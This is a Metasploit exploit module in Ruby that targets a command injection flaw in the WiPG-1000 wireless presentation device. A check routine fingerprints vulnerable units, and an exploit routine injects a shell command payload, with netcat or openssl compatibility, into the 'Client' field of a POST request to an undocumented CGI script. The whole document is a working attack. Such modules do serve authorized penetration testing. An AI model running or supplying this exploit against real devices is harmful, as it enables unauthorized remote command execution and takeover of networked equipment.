WePresent WiPG-1000 Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WePresent WiPG-1000 Command Injection',
        'Description' => %q{
          This module exploits a command injection vulnerability in an undocumented
          CGI file in several versions of the WePresent WiPG-1000 devices.
          Version 2.0.0.7 was confirmed vulnerable, 2.2.3.0 patched this vulnerability.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Matthias Brun', # Vulnerability Discovery, Metasploit Module
        ],
        'References' => [
          [ 'CVE', '2025-34103' ],
          [ 'URL', 'https://www.redguard.ch/advisories/wepresent-wipg1000.txt' ]
        ],
        'Payload' => {
          'Compat' =>
                  {
                    'PayloadType' => 'cmd',
                    'RequiredCmd' => 'generic netcat openssl'
                  }
        },
        'Platform' => ['unix'],
        'Arch' => ARCH_CMD,
        'Targets' => [
          ['WiPG-1000 <=2.0.0.7', {}]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2017-04-20',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => '/cgi-bin/rdfs.cgi'
    })
    if res && res.body.include?("Follow administrator instructions to enter the complete path")
      Exploit::CheckCode::Appears('The target appears to be vulnerable')
    else
      Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  def exploit
    print_status('Sending request')
    send_request_cgi(
      'method' => 'POST',
      'uri' => '/cgi-bin/rdfs.cgi',
      'vars_post' => {
        'Client' => ";#{payload.encoded};",
        'Download' => 'Download'
      }
    )
  end
end